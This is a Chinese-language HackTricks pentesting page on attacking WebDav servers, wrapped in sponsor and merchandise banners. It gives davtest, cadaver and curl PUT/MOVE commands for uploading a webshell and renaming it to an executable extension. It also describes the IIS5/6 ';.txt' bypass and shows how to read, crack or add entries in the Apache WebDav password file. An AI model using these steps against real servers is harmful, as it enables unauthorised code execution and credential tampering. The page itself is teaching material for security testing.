# WebDav
\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可以轻松构建和 **自动化工作流**,使用世界上 **最先进** 的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
支持 HackTricks 的其他方式:
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来 **分享您的黑客技巧**。
当处理启用了 **WebDav 的 HTTP 服务器** 时,如果具有正确的 **凭据**(通常通过 **HTTP 基本身份验证** 验证),则可以 **操纵文件**。通常,控制此类服务器涉及 **上传和执行 Webshell**。
访问 WebDav 服务器通常需要 **有效的凭据**,使用 [**WebDav 暴力破解**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) 是获取这些凭据的常见方法之一。
为了克服文件上传的限制,特别是阻止执行服务器端脚本的限制,您可以:
- 如果没有限制,直接 **上传** 具有 **可执行扩展名** 的文件。
- 将已上传的非可执行文件(如 .txt) **重命名** 为可执行扩展名。
- 复制已上传的非可执行文件,将其扩展名更改为可执行的扩展名。
## DavTest
**Davtest** 尝试 **上传具有不同扩展名的多个文件** 并 **检查** 是否执行了该扩展名:
```bash
davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension
```
## Cadaver
您可以使用此工具连接到 WebDav 服务器并手动执行操作(如上传、移动或删除)。
```
cadaver
```
## PUT 请求
在WebDAV中,PUT请求用于将数据上传到服务器上的特定位置。PUT请求允许攻击者向服务器上传恶意文件或覆盖现有文件。攻击者可以使用PUT请求来执行文件上传攻击,覆盖重要文件,或者在服务器上创建恶意文件。PUT请求通常是Web应用程序中的安全漏洞之一,因此在进行Web应用程序渗透测试时,应该检查服务器是否正确实现了PUT请求的权限控制。
```
curl -T 'shell.txt' 'http://$ip'
```
## MOVE 请求
```
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可以轻松构建和**自动化**由全球**最先进**的社区工具提供支持的工作流程。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## IIS5/6 WebDav漏洞
这个漏洞非常有趣。**WebDav**不允许**上传**或**重命名**扩展名为**.asp**的文件。但是你可以通过在文件名末尾**添加";.txt"**来**绕过**这一限制,文件将被执行为.asp文件(你也可以使用".html"代替".txt",但**不要忘记";"**)。
然后,你可以将你的shell上传为".**txt"文件**,并将其**复制/移动**为".asp;.txt"文件。通过Web服务器访问该文件,它将被**执行**(cadaver会说移动操作失败,但实际上是成功的)。
![](<../../.gitbook/assets/image (18) (1) (1).png>)
## 提交凭据
如果Webdav正在使用Apache服务器,你应该查看Apache中配置的站点。通常在:\
_**/etc/apache2/sites-enabled/000-default**_
在其中你可能会找到类似以下内容:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
正如您所看到的,这里有包含**webdav**服务器有效**凭证**的文件:
```
/etc/apache2/users.password
```
在这类文件中,您会找到**用户名**和**密码**的**哈希**。这些是WebDAV服务器用于验证用户身份的凭据。
您可以尝试**破解**它们,或者如果出于某种原因您想要**访问**WebDAV服务器,也可以**添加更多**:
```bash
htpasswd /etc/apache2/users.password #You will be prompted for the password
```
要检查新凭据是否有效,可以执行以下操作:
```bash
wget --user --ask-password http://domain/path/to/webdav/ -O - -q
```
## 参考资料
* [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流程**,由全球**最先进**的社区工具驱动。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}